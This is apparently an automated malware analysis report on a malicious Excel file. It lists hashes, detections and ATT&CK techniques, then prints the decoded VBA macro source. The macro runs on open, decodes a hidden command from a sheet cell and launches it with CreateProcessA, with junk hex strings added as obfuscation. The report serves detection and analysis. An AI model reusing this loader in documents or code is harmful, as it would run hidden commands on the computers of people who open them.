Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b07bb00514b14dd5…

MALICIOUS

Office (OLE)

196.0 KB Created: 2018-03-07 10:16:28 Authoring application: Microsoft Excel First seen: 2019-05-10
MD5: 319de995e25c7dd9ced03b820b395617 SHA-1: 0f70a4fc779daddf16616da796156ba608c65432 SHA-256: b07bb00514b14dd59d31ebc47266b6594e4206dd790c63a4b4d637ef870fb02c
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains both VBA and Excel 4.0 macros, with Workbook_Open and Document_Open events firing. The presence of CreateProcess API references and the ClamAV detection strongly suggest the execution of malicious code. The embedded macros are likely responsible for downloading and executing a second-stage payload.

Heuristics 7

  • ClamAV: Xls.Malware.Cwsp-6735643-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Cwsp-6735643-0
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    #End If
Public Sub Document_Open()
Dim ALO_OS As String
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
Dim D_T As String
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 232 bytes
SHA-256: b4059001fb4764fbd5386c825797c405e3f2b25314d3bfa8ed980ec05b75b07d
Preview script
First 1,000 lines of the extracted script
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mysghee
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20912 bytes
SHA-256: 881d44cecac9d052fd5270c1a15f07774e3ce162d233e9de9ed0be9ebbdcd8b8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
57 of 105 identifiers look randomly generated (e.g. 'D71A65D306E5D81829D5D835D435D5D5D5D5D818') — consistent with name-mangling obfuscation. Carved artifact contains 50 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
#If VBA7 Then
    Private Type T_ZKJ
        R_QBA As LongPtr
        OSV_V As LongPtr
        I_PM As Long
        KX_ZV As Long
    End Type
        Private Type U_BYP
        X_E As Long
        EPC_B As String
        N_EZ As String
        I_VNE As String
        YIE_Y As Long
        AH_E As Long
        LE_QS As Long
        DXO_W As Long
        PN_NFD As Long
        NZR_PSX As Long
        SY_I As Long
        O_JF As Long
        VCJ_RU As Integer
        YGY_QRG As Integer
        EPC_B2  As LongPtr
        V_HT As LongPtr
        B_JYM As LongPtr
        EYM_B As LongPtr
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal JWD_R As Long, ByVal W_LSR As String, VGU_MJ As Any, Y_SH As Any, ByVal SD_IP As Long, ByVal A_V As Long, ByVal G_W As Any, ByVal WK_JKP As Long, PUF_UL As U_BYP, W_FQO As T_ZKJ) As LongPtr
    Private Type MMW_UC
        RW_PJY As Long
        URO_VD As LongPtr
        DTZ_M As Long
    End Type
#Else
    Private Type U_BYP
        X_E As Long
        EPC_B As String
        N_EZ As String
        I_VNE As String
        YIE_Y As Long
        AH_E As Long
        LE_QS As Long
        DXO_W As Long
        PN_NFD As Long
        NZR_PSX As Long
        SY_I As Long
        O_JF As Long
        VCJ_RU As Integer
        YGY_QRG As Integer
        EPC_B2 As Long
        V_HT As Long
        B_JYM As Long
        EYM_B As Long
    End Type
    Private Type T_ZKJ
        R_QBA As Long
        OSV_V As Long
        I_PM As Long
        KX_ZV As Long
    End Type
    Private Declare Function CreateProcessA Lib "Kernel32" (ByVal JWD_R As Long, ByVal W_LSR As String, VGU_MJ As MMW_UC, Y_SH As MMW_UC, ByVal SD_IP As Long, ByVal A_V As Long, ByVal G_W As Long, ByVal WK_JKP As Long, PUF_UL As U_BYP, W_FQO As T_ZKJ) As Long
    Private Type MMW_UC
        RW_PJY As Long
        URO_VD As Long
        DTZ_M As Long
    End Type

#End If
Public Sub Document_Open()
Dim ALO_OS As String
ALO_OS = "695D6555735D5D255D43575D5D68275D5D8F5E642C8E5D645D9D7D5D775D2CC75D615D5D5D5D5D235D5D8D5D715D5D5D34242C5D235D5D2C5D4F703E797749214C5D24295D715D905E4C5D405D5D5D5D75605D1E3F5D5D8A755D5D985D615D425D5D3F5D6D4C87735D7C50669D5D365D485D5D5D6F5D5A5D795D5D5D3B9C3A6B5D3F2F5D5D5D5F355D635D575D3A8"
Dim SCU_U As String
SCU_U = "820375D5D5D5D5D5D4731548620895D5F5D49505D5D5D975D5D5D295D205D5D5E5D5D8A5D4A7F226F5D945C5D4C225D2B5D45915D5D5D5D74865D5D562E58475D5D5D5D5D5D5D5D4E53795D242A5D50365D85445D5D5D5D315D5D5D5D6A9A466D4D332C5D545D5DEF5D5D5D5C5D493A252E5D395D495D475D5D375D6D5D5D5D805D5D5D575D5D5D80355D5D855D5D"
Dim VJ_UV As String
VJ_UV = "8E985A5D2A5D215A5D3F775D5D925D5D395D5D5D51535D4C5D5D74315D6C8E2569865D515D775D5D5D1F365D685D5D518E5D5D5D5D6D595D2C5D905C5D5D6F875D5D5D3F5D5E2E3096515D5D5D30855D465D5D2D82375D5D5D5D4D5D5D358985565D5D775D6C5D615D5D5D255D875D7D5D2D99245D5F23965D485D5D2E5D4C7F5D6B8A5D3B2C7A5D5D445D605D5D5"
Dim WO_WH As String
WO_WH = "35D5D5D835D5D5D9A85765D2150845D925D5D5D35605D5D9138389354745D6B2F5E5D775D805D945D212D5D955D5D5D795D565D5D405D5D5D84642E5D9B5D5D6B5D5D5D5D475D3E5D5D5D785D865D5D32605D5D545D8E405D5D785D645D5D5D425D3D9C5D5D5D91882C5D5D5D3425875D5C5D345D8B5D5D645D865D633C535D669A5D805D5D2A5D7D7F5B375D9A5D"
Dim RP_QUI As String
RP_QUI = "5D465D64825D582E285D225D62298A5D5D695D562431955D725D295D5D5D5D28475D755D5D872C89835D3F5D5D955D5D5D5D24405D5D4F5D228A5D2C5D585D8E5D975D5D4B918999745D904420525D41405D9B263F567785765D5D635D5D7A465D735E7E5D5D5D7C9663405D635D5D5D345D5D5D5D76664B5D385D5D2E7B5D53675D5D5D895D5D3C5D7A5D545D305"
Dim DN_QJ As String
DN_QJ = "D5D6B953298535D5D5D515D965D8985845D5D675D625D945D4F5D5D735D5D5D5D262E625D5D325D5D5D6C9834285D465D5D685D888E5D5D5D5D7E6B1E705A5D8E5D455D5D344F525D5D5D454E395D3F4B245D855D5D9A5D375D445D5D5D5D30995D465D5D935D36745D5D5D5D5D5C3D5D5D5D5D5D605D5D8462295D205D5E335D935D5D5D5D295D2F5D5D5D9B288B"
Dim B_KOF As String
B_KOF = "935D5D425D5D5D5D5D5D2C9B2B5D5D5D5D5D70235D9486975D5D5D9D2A955D575D289448395D5D5D5D5D5D58485D205D5D5D855D336D5D5D7C5D845D7443618D5D605D23365D565D5D5D93695D275D725D535A7E5D8E2B8E5D845D7B68348D5D5D5D5D9A254D5D99875D2E313C5D5D5D5D575D5D5D2E5D5D5D5D2C335D5D7C5D5D5D5D4D5D97247E5D8F5D5D7B5D5"
Dim BHV_S As String
BHV_S = "D361E5D5D5D5D241E905D5D337A5D835D3B5D55605D61735D66514C5D5D7C5D6870385D325D375D5D5D5D335D20825D5D9D5D5D6A437B5D5D5D5D5D5D269A315D5D5D605D6F5D224D5A89494C5D5D5D9C5D5D435D6D3D87865D5D675D621F5D965D845D4C5D5D3B5D5D5D7A3D335D5D661E835D5D5D9B48745D5D4A5D9C5F405D6D68585D5A215D965D5D9B5D5160"
Dim EO_FHO As String
EO_FHO = "5D5D5D305D915D644A835D5D725D985D3A385D50585C2C8C475D625E775D5D5D5D7848913E8A8A5D5D273B5D5D655D5D5D5D5D805D1F269B5D865D294C5D5D9A5D47525D5D255D5D6B6C4F3E565D5D386D615D5D685D705D5D5D7E5D423A5D3B5D305D845D5D1E5D8C5D5D7B8F5D255D5D9A5A9B8C66945D5D5B294A6C5D48339C39215D835D6A5D5D5D902A9A6D7"
Dim HY_CTC As String
HY_CTC = "55D998C5D5D5D425D755D2B5D5D5D5D835D5D5D5D735D565D5D4D8F9C5D5D88495D5D345D5D4A5D54788A5D5075815D5D494F5D5D8F2051605D968C5D5D4F5D5D5D5D3F5D93235D5D5D3323525D5D5D715D235D8D3E5D5D8C5D5D285D5D471F928E5D4B275D799D505D373C5B5D345D5D6F4E9969915D5D5D5D5D5D5D715D225D405D70685D5D845A505D5D4F6F89"
Dim M_QY As String
M_QY = "4A5D81825D5D1F5D5D6A7342865D8E3E5D51565D5D215D25545D5D545D423A5D545D5D5D885D5A6D5D5D25245D5D5F5D5D2F235D5D8196475E7A4C5D5D5D5D5D4E5D5D5D5D5D5D5D4C8C5D5D317E5D20885D3D5D5D5D2C5D5D2B5D7E9C5D775D3E5D7E4A60784C5D2D53284A5D675D6B5D7F8C5D5D683A5D2F5D335D88595D5D964C5D45525D5D985D22955D5D5D3"
Dim SZ_TRL As String
SZ_TRL = "05D5D375D4F5D5D387D5D36215D5D415D5D74733D5D57575D5D5D9D5D5D5D415D5D5D5D5D3A5D5D5D5D5D5D5D5D5D2C8B5D5D765D4C9C24695D5D955D5D9D5D6F735D7C585D9C5A8F5D5D5D5D5D5D5D945D5D1E6D5D2D33815D576F5D5D8B5D6F5D575D515D929A5D45865D2A8C5D5D768B5D5D1F85296C42625D203E225D752D5D809047605D395D865D5E75275D"
Dim G_G As String
G_G = "2B825D79929C1E6E414C7E2C5D5D985D415D7E5D5D8E8092335D5D855D5D5D5D396D5D5D8A5D8C5D2C585C625D525D64275D5D5D5D2A2F5D1F5D645D5D5D5D5D81875D7E625D7899345D5D503C5D5D5D5D7B5D5D2D1F2C5C5D4B805D4D935D5D5D7D5F5D1F4B64465D8D3B86885D835D3B595D5D71855D3F6E5D4B375E759644955C6A5D945D4E5D5D885D5D5D5D5"
Dim VO_G As String
VO_G = "D5D532F585D525D5D7B7E5D5D362D82355D605D655D475D292C5D5D5D5D6A5D5D3A28645C81615D7260345D605D5D24986A5D5D327054299D4C5D5D5D4087315D855D5D775D835D5D5D315D5D935D5D785D5D4E8F5E5D5D5D2E5D5D294F5D205D5D315D5D5D5D3E7E5D5D5D845D5D5D5D5D775D5D632B7828734D5D5D5D5D2F5D5D7F38535D5D24686E5D50255D5D"
Dim TR_FVB As String
TR_FVB = "8D496688335D515D5D5D705D5D5D5D565D255D5D985D985D3320718E5D825D70285D5DFD745D865D245D745D314E5D71365E483E214D5D5D5D7230735D5E875D5D5D5D5D515D66909C849168425D205D5D3A5D415D50259B4C2F5D205D315D5D478A5D6A5D3D9D5D5D5D5D5D655D2E705E5D5D5D63575D845D405D645D885D5D3F5D5D5D305D2A495D5D885D5D5D605D492F5D50345D5D475D7D5D55272B435D685D"

    Q_VF
End Sub
Public Sub Q_VF()
Dim Z_A As MMW_UC
    Dim BZ_VY As MMW_UC
    Dim Z_L As U_BYP
    Z_L.O_JF = &H1&
    Dim H_VP As Long
    H_VP = &H20&
    Dim LND_HIH As T_ZKJ
    Dim NTJ_TB As String
NTJ_TB = "5D6F1E23455D5D5D5D5D5D5D5D7A275D6B695D5D966D597D9A2D758F5D60415D5D4E5D4F5D5D5D81725D5D655D305D5D5D5D5D31489D345D5D3673615D7F5D73305D8E5D5C5D7F5D5F425D885D529762507A5D7A5D5D238A395D465D753D5D6F2D51525D85785D83365D235D5D715D2F2F7C5D825D6B5D215D68925D5D3F5D67795D1E5D5D5D205D5D965D5D5D8E475D50642C595D5D8B5D5E5D5D2D935D5D985D6E44712C8D64795D8A6B785"
Dim V_L As String
V_L = "D98693F5D7A5C316D5D5D53366E213C5D7C3F5D615D5D3E205D425D5D5D5D5C3E5D5D417E5D5D97735D495D5D5D585D8A458790698634415D483C3C5584698E5D8E325D5D5D215D5D5D5D775D2F6484895D93865D94925D545D5F5D705D594D5D235D87845D5D8E5D5D2B5D5D5D5D5D769B7A3361645D515D835D725D5D6E535D7F5D552D9C6D5D235D5D5D5D5D8E5D5D5D9D5D5D645D50365B583A495D785D608E3A905D5D4B9D2D5D655D8E"
Dim QY_B As String
QY_B = "5D5D5D5D5D5D5D5D5D5D745D842F5D5D9D3B4F5D1E5D525D265D1E5D485D5D5D42665D8E6B2B5D40645D3A2C92395D443648A6755D5D95255D365D8F915D8F385F5D31964F2D925D734D713693874281305D37595D725D5D645F5D8B5D7B5D5D50705D5D39745D1F5D9D7D5D555D5D2B7F5D765D9292745D5D5D5D775D5D878B5D7F35795D4A5D5D9B5D5A5D24285D5D5D5D4370335D5D904C5D6B5D825D5D345D895D5376532A5D7F5D5D385"
Dim U_XZJ As String
U_XZJ = "D5D5D5D9A5D5D62385D5D575D4F895A36695D435D5D527D5D8C5D365D5D335D7664345D5D5D5D3B5D5D507A6B5D215D77677B665D5E675D975D6A2C497B285D5E5D5E395D4E5D9C715D5D2020785D5D9581885D5D81235D5D5130972D5D975D5D3A5D5D5D5D5D375D858F795D94995D695D5D5D5D4A586C5D793B2A8D5D74697C5D295D5D6F5D5D5D8E8E5D5D5D5D5D9D1F5D5D745D5D8C5D5D785D392E4C5D5D8E5D7E6D5D5D885D5D915D5D"
Dim SJ_H As String
SJ_H = "615D5D5D675D782B5D5E5D4973345D5D967E5F4A5D43715D3C5D5D5D435D5D875D925D5D5A625D525D5D4D40535D5D3A5D4B9B508F5D3B755D5D5D5D955D225D8E795D5D525D5D5D5D54425D5D5D5D5D5D547B5D8675995D4E5D5D5D5D366C5C2A5D5D975D5D515D5D5D5D7D5D63585D57455D335D875D595D6A97402E5D5D5D9A5D795D5D5D5D425D5D70482A5D8683955D5D455D5D6E975D5C5D5D5A2E455D5D5D38965D7F5D5D355D4C955"
Dim QV_ASZ As String
QV_ASZ = "D315D525D5D5D575D5D5D5D875D5D33385D90995D5D845D748E84805E2E8C5D5D3D5D985D757B5D265D935D5D5D5D5D1F95685D8F5D5D91792098335D9C5D5D8B4F01925D5D5D655D9047695D5D7C5D987F5D5D622B78343D5D5D665D455D4C5D523D95845D5D445D465D5D3A86763B5D5D5D5D667C99235D5D5D5D20885D54475D205D5D27315D5D5D675D5D8A7A307B5D9C5D375D5D295D5D5B5D5D5D265D5D74405D6A815D8E5D5D3C599A"
Dim RXD_KA As String
RXD_KA = "5D765C5D5D5D5D2D5D5D5D5D5D444E5D5F5D2258688F6B5D5B5D6B5D5D46388A5D5D5D825D9165438A305D5D535D42815D6F9842371F4F51295D755D855E2E5D5D395D5D505D5D5D5D5D565D5D87915D5D875D5D5D715D5D5D7635396A5D4A1F385D385D5A4E918B5D5D58515D5D5D525D8E9A5D80425D5D507690905D563F5D54865D6D5D6C5D5D5E2075369D5D2D5D5D555D5F735D5D5D6F5D5D1F5D5D83375D5D655D5D72405D5D3F3F5D5"
Dim S_VOH As String
S_VOH = "D5D5D805D5D997B5D6A5D905D5D5D885D5D275D5D5D5D5D5D5D5D9B919B5D7E5D1E40797F5D9B265762495D535D955D5D5D365D5D5D5D5D805D375D6A795D655D5D5D5D5D5D5D34881E5D5D5D5D5D5D5A535D5D5D5D825D892F565D8E46785D5D5D5D38615D5D5D4D5D5D713A5D885D305D5D405D5D5D5C5D5D5D5D5D49854D1F243F5D345D5D5D48365D74763E5D7C6899905D535D5D5D3F697D313D455D5D5D819C3E5D3D4E5D5D5D435D80"
Dim UVY_H As String
UVY_H = "97875D4F605D5D685D296363445D5D725D295D5D5D5D995B5D79605D8F555D275D5D5D5D5D955D855D76575D5D5D5D345D52815D5D5D775D5D725D77785D5A5D5D5D5D5D4D979C5B258260805D5D70789D5D5D5D5D534F5D3A412C2C865D5D5D265D5D5D695D5D5D66345D5D975D245D722A5D5D5D5D5D5D31738D4C5D5D5D5D6E5D9B2D5D5D5D6D705D397A5B5D3225874F5D265E5D555A8B9483936F26879C5D2347275D5D7C635D965D5D9"
Dim FP_A As String
FP_A = "A5D5D7945535D5D5D5D5D5D5E5D5D7F6A5D685D5D5D565D289D985D75515D5D5D5D3748865D308B856E656A5D5D987D3C5D5D486F5D5D5D5D5D5D415D5D5D505D955D389B5D375D554B5D915D6C5D945D5D215D5D355D5D5D5D4A735D59745D5D755D935D2F5D8E5D5D4E5D755D5D5D5D37886E7D5D595D4B5D5D8D5D5D55725D5D3D395D4F9B4E2F5D5D5D5D39515D455D403F5D735D8E5D5D5D5D281E5D5D5D5D5D5D5D575D5D575C5D5D612F792A665D5D34866F345D5D1F5D5D442F5D2A5D445F995D965D5D"

   Dim F_UVQ As String
   Dim Z_XC As String
   Dim ITM_G As Long
    Dim U_BJ As String
    U_BJ = ThisWorkbook.Sheets("mysgheet").Range("K244").Value
    GoTo x2
x1:
    Dim X6
    X6 = CreateProcessA(0&, F_UVQ, Z_A, BZ_VY, False, H_VP, 0&, 0&, Z_L, LND_HIH)
    GoTo x3
x3:
    Exit Sub
x2:
Dim D_M As String
D_M = "5DC25DEC5D1F7B2F735D7B5D745D686D5D635D382C5D3233365D5D5D5C32425D5D5D6D5D5C5D5D425D292B8870335D3C245D5D3C939B5D395D944F47955D5F5D2A9B897F2E5D965D21985D5D213D5D5D8C237B8A4451345D7C5D5D3B565D5D26425D5D5D5D5D5D5D5D5D465D90308E5D5A5D5D4B5D7556695D5D5D5D855D335D5D5D23591E5D7C5D92935D5D5D5D5D5DF8855D987734445D5D5D5D5D315D9535887A5A39908C4A5D7B5D716E5D5D6F7E5D"
Dim L_HCR As String
L_HCR = "4B5D5D5D5D5D5D928F3E485D5D6F4A595D5D5D585D948E5D345E5D5D5D5D5D986F5D5D8F666E265D464E5D4E5D2D5D1E5275605D5D2B3B5D53987B36405D5D5E5D8C72915D5D5D9730705D5E5D248A5D7A5D5D475D5D9A5D5D315D88235D795D255D9D5D97835D5D8A5D5D5D6A5B915D755D215D34375D5D5D5D5D3F2C2A5D576E5D835D515D455D5E47225D565D5D805D305C5D995D5D5D5D5D5D5D7B5D276D5D6B2C21415D5D5D5D5D5D33985C277F84"
Dim YYJ_EU As String
YYJ_EU = "5D5D325D96205D62775E5D3A955D915D5D725D5D795D5D205D2A5D7E82995D807E5D5D5D699B5D5D575D7C42727B5D5D5D2B5D2C91703F93225D5D5D5D445D33895D5D75385B5D5D415D5D5D5D525D5D5D925D706D5D8E2B645D2B5D5D3146665D5D5D585D62555D5D5D655D4A5D9B48364A4381377F3F5D2A5D5D5D705D925D793C325D5D5A5D5B5D855D5D4659374C5D5D5D5D205D609670986B785D5D745D942B5D5D5D935D865D5D685D5D5D785D61"
Dim W_VZ As String
W_VZ = "5D5D939C5D3F5F5D865D4B5D5D5D5D2A955D2E5D8F389A5D934C5D5D8E5D915D5D5D1E5D5D5D72372A23585D1F5D4A2A5D535D5D8F3A5D5D5D7A5D375D535D5D645D5D5D9B5D5D82325F289282865D5D955D70315D73255D5D5D5D325D205D2F5D66715D5D5D5D9D5D5D5D629B765D5D502A715D9C283A325D6D615D265D715D72695D2290795D5D6E975D5F815D5D315D915D224E5D5D5D5D5D865A5D9B4C587D472A5D5D3A5D369B8923885D545D4D51"
Dim GLH_LA As String
GLH_LA = "5D4F6D5D5D945B7D5D795D5D785D8F2421775D495D745D5D3E5D4B5D385D5D2A5D5D5D5D7F5D5D5D929A5D5D2F275D5D5D5D225D5C5D811F5D5D2D5D5D5D5D5D5D31913A755D365D2D5D527D5D2C5D525D8B5D5D264B5D9A5D5D5D5D5D5D5D5D74975D5D5D735DB65D7A6A224F5D5D5D3D5D5D88865D5D5D5C465D325D675D975D5D5C3527415D5D6C4E5D973E2F5D795D642A5D2C5D5D415D5D5D5D8E8021985D212C497E265D5D1E5D385D2F513C3542"
Dim V_MKT As String
V_MKT = "5D4F219B5D5D613E388C829D5D545D4A275D3A205D5D5D5D855D69915D2F925D5D975D4E1E5D2E9B5D28635D5443365D4B5D26911F325D5D8F76335D585D76275D5D5D8C9C5D4A2A5D5D555D5D4491605D5D634C271F5D955D5D5D5D5D57615D5D5A5D77515D2B8F8B5D5D805D2125695D5D3D995D475D5D76985D5D5D5D439479595D975D382D2B5D5D5D2B5C405D5D5D915D31385D8F5D5A5D1E5D455D925D5D6A245D485D5D5D5D2F5D865D535D5D5D"
Dim MBJ_RTF As String
MBJ_RTF = "5D2F7A5D5D6D5A5D37745D467D5D555D3A5D5D815D5D6D265D5D3F695D5D5D5D5D445D5D905D5D6F5D8B495D755D5D5D375D5D4D5D5D5D725D2B4C5D5D6C9C7751925D91205D3D5D305D675D5D7A825D5D425D5D5D2E7C1F5D5D5D7E5D7F5D5D8C5D5D645D8D5D5D3A2A9C5D95575D5D7D5D5D5D8B81718F855D71515D5D5D5D285D697C60445D5D215D3E415D3F2F1E3C5D7D441E9C5D5D7B5D935D874B5D5D8A68455D328F77865D5D7E916E61464F40"
Dim KC_RQN As String
KC_RQN = "5D5D405D5D5D2048931F5D5D5D5D5D66505D775D475D895D4A5B3C345D3798615D5D8A92795D7B435D5D8D5D5D305D5D483C5D5D555D5D315D5D5D5D5D325D5D438A5E5D875D5D4C5D5D8A6B5B5D5C385D5D5D845D5D2A5D5D775D5D5D5F5D5D5D5D695D5D3E73657C5D805D955D247B5D5D6C475D78987E5D5D2D36357A6D5D0E5D3A5D675D925D3C4C5D41985D5D7F545D5D9C424C385D5D852E5B4E205D5D5D5D3F5D8770595D884A5D5D8C385D7F5D"
Dim G_P As String
G_P = "445D5D64995D2027277281755D49715D7A5D7F5D5D5D97365D1F95515D6B5D5D985D5D4E5D7B5D5D7E665D945A9A1E6D5D3095495D5D603E5D795D5D5D5D56245D99916D885D5D635D5D5D5D5D5A1F46735D5D76645D5D5D435D357A5D2D5D5D265D5D525450835D435D5D5D5D815D974E5D535D5D5D1E5D5D5D5D2C5D5D285D526D613E5D5D5D5D585D95335D5D265D5D2E5D705D60525D5D5D4535395D5D5D6E513D7E5D5D3C5D85595D5D385D235D1F"
Dim C_W As String
C_W = "5D805D711F5D26395A8C5D5D7B5D5D7E5D5D419B5D52575D5D5F5D30445D5D7B8D5D3C915D8F754F5D5D286E5D5D5D7A6D5D9A955D37455D5D455D5D8C5D5D2977739D5D535D5D445D5D6C5D5D425D5D5D5D815D5D5D5D9D3F675D774C595D634C97595D445D49745D355D75692B215D5D5D5D5D915D5D885D878D7E853065805D5D5D5D615D2B465D5D5D5231645D7F9480215D5D5D558F5D5D5D7B5D5D2D5D763631475D5D5D695D425D5D41945D5D62"
Dim S_JHB As String
S_JHB = "5D5D5D415D3B672E435D5D615D695D5D5D6C6A5D6F208E5D5D305D905D8E7C5D255D405D5D5D83296A5D935D5D975D535D535D5D5D5D5D5D7C5D7B5D4B5D905D8A5B5A5D465D7A5D5D5E9D5D5D5D2A6A9B5D9A875D36405D7D73675D5D934C5D315D5A5D2B385D5D828360548D5D2E3C9178275D43375D5D5D713C80275D5D5D782D5D5D7F5D4C5D5D465D255D5D8838435D735D415D615D61765D1F795D875D821F8F5D5D975D5D8F7A735D5D5D5D905D5D7A5D5D5D5D875D6A5D5C5D7F5D715D5D585D405D549C377F5D5D5D5D53268A819D2B5D325D7A494A5D5D5D"

   For ITM_G = 1 To Len(U_BJ) Step 2
        Z_XC = Chr("&H" & Mid(U_BJ, ITM_G, 2))
        F_UVQ = F_UVQ & Chr(Asc(Z_XC) - 30)
   Next
   GoTo x1
End Sub

Sub Workbook_Open()
Dim D_T As String
D_T = "5D5D385F5B3E5D5D5D5D5D5D855D5B5D5D5D5D5D5D5E974C767F5D5D5D5D5D3B5D885D5D5D5D5E997C5D393A7A5D8F5D6F5D5F375D5D845D315D5D5D5D745D425D5D4F925D5D7E8A5D727C2F5D5D615D7A5D8C5D5D22475D5D326D5D8B5D845D5D5D5D915D615D3A2830601F5D5D5D315D85345D462D4B695D5D2E5D515D5D377A2221835D48355D965D5D5D5D28325D995D4C"
Dim LX_LQ As String
LX_LQ = "6D60945D2F46255D5D5C5D72685D5D5D5D5D5B5D5D5D615A825D5D8D80785D5D5D5D765D5B5D66552B585D5D5D5D9C375D5D5D5D6E605D865D5D4C286C565D9B85305D5D5D8E7C5D5D5D946C5D5D5D7696955D945D765D3E5D3B96875B5D5D7C955D5D5D5D945E7B5D5D5D6E6D38545D665D5D5D662443679C5D5D5D5D5D5D3B365D5D5D215D1F54535D5D605D5D5D9A3E5D30"
Dim QZK_UD As String
QZK_UD = "30338F5D5D817104845D625D5055618E4D63505D30325D98595D5D995D4A5D292082303A5D4A5C5D5D7F7C422E5D5D936A5D775C5D217A4E54455D5D5D5D355D45535D7C305D235D5D605D41734939695B4C5D5D5D5D265D5D965D765D5D65635D815D355854725D5D5D5D2A5D5D5D5D5D5D5D62705D545D994A4A945B7C7B2B5D2D615D5D435D5D9D5D5D5C7D5D239B295D5D"
Dim GIO_P As String
GIO_P = "475D215D624A5D2B275D8A4B815D4E5D5D1F5D5D5D5D8D5D5D955D455D889C9651485D3A5D5D5D5D5D945D5D03525D605D73815D5B5D5D51835D5D78905D4D8E745D5D5B62255D64415D5D3B5D1E5D5D465D415D665D5D8576755D1E7C4C5D325D716C9D2922966B5D5D385D5D345D5D5D8E684A5D7D465D3B705D5D915D5D5D8C5D907E5D915D41665D6A5D5D285D5F5D5D2B"
Dim N_VS As String
N_VS = "5D5D7A5D69485D7F5D3D5D5D5D443B5D6F605D5D445D319A58305D5D655D5D5D2D306844533C2F43225D5D5D5D785D5D717A5D795D965D565D766D389A61235D34295D9C3A428C8A40445D8A5D5D435D235D96625D6F5D5D5D5D5D285D985D5D5E615D503D55553C5D6F285D48964867946D5D5D365D8F375D5D7B5D7F5D5D93615D605D5D5E435D5D669540796B5D5D2F4988"
Dim YST_RW As String
YST_RW = "60469C8F365D5D5D905D1F5D604F5D5D5D5D6988852D465D8B572E325D5D5D7B75383B5D7538845D405D5D535D928F5D335D5D3D5D5D8D66943F865D7B5D96425D5D5D334456955D62795D8A9BFC825D265D5B9D785D5D2C545D5D73545A9C6E345D5D5D5D663E583E99315D275D5D485D7F8D595D78902D5D35205D657F2C3D253A853B5D5D5D5D217C5D5D225D2D90795D5D"
Dim OX_OJR As String
OX_OJR = "605D5D535D2B5D63795D8A5D5D5A5D5D4E73925D5D5D925D308D5D5D2358705D905D5D655D5D98892D5D905D2A35745D51492C3B5D235D5D4C655D5D3C5D505D5D985D5D5D922052265D793F5D5D37475D5D49525D8B5D6536925D5D5D5D5D5D21365D5D5D595D295D5D8F815D7E5D459B9B5D258B5D2B5D725D5D235D615D935D5D7C725883403D694E5D5D5D5D515D659125"
Dim SYY_W As String
SYY_W = "565D385D3D5D7B5D24775D5D5D5D898560355D5D3F5D2F3B5D43385D5D4D8B5D535D5D525D2688365D4A5D45425D9A237A686E926A9B2029555D535D5D5D5D5D7C855D515D2C705D4D3C5D851F4127435D5D41765D576F4F5D5D5D5D5D475D364F8D496B816C5D5D624C5D9D5D5497495D5D5D7B5D5D4C691F2B5B5D5D5D5D758853595D5D5D5D495D9A285D5D5D725D5D5D5D"
Dim Z_EZ As String
Z_EZ = "5D5D467E5D6A742F905D72575E328D5D5D6A5D5D67505D3E415D6C3A5D4E515C795D5D5D31515D5D5B905D5F465D965D5D5D8D895D5D945D5D255B6B5D578C6080335D825D5D6B475D5D985D5D6F375D5D1F5D5D605D40455D2A5D5D5D2122935D305D5D585D5D5D3B5D5D2B6A2D5D526B5D8A5D5D5D405D5A5D5D5D5D5D5D225D5D7C67935D651F5D8D5D375D5D289A5F835D"
Dim MB_DG As String
MB_DG = "5D625D5D675D5D5D235D55465D275D485D5D5D439D5D81662140995D3E7771592D7E5D5D1E9555855D48565D5D2E5D5D9C5D875D9093735D645D5520737E5D5D5D645D5D5D7E9A5D5D5D495D6A305D2A4F5D5D5D295D245D5D5D825D5D785D43345D6A9D5D27535D5D5D5D5D5D425D5D515D7D585D5D4D5D9A775D5D5D455D255D5D5D5D8A315D9938345D5D848B5D5D8A5D7A"
Dim Q_Q As String
Q_Q = "5D795D5D97635D79355D5D535D5D54905D255D5D5D5D5D8C5D345D7721812F5D625D4C49885D5D5D5D5D595D5D245D552D26835D5D5D5D29725D8D5D5D9942265D5D25655D84325D475D83209D5D5F5D675D5D4C40642C5C5D7D6A2E665D725D5D5D9C5D4E5D5D5D5DE95D5D887E5D925D9B5D5D605D5D4237215D765D5D645D8A725D5D935D7E948F695D5D5D5D7A5D605D1E"
Dim YD_I As String
YD_I = "593284267E5D5D5D9A5C5D795D5D2A555D3F9C5D8D5D345D6E5572445D5D805D5D4E5D3B9733365D9C5D2A5D5D5D73865D5D4F5D885D6E4C2D5D935D9D945D5D785D5D389829845D5D5D666E8D705D5D495D6C24BD5D6824873E5D935D675D5D365D585D7C505D5D25265D7A5D1F5D695D7124326C4D225D5D63845D5D5D5D585D5D5D5E3A84555D5D8A842B7B5D5D68823F51"
Dim VG_Y As String
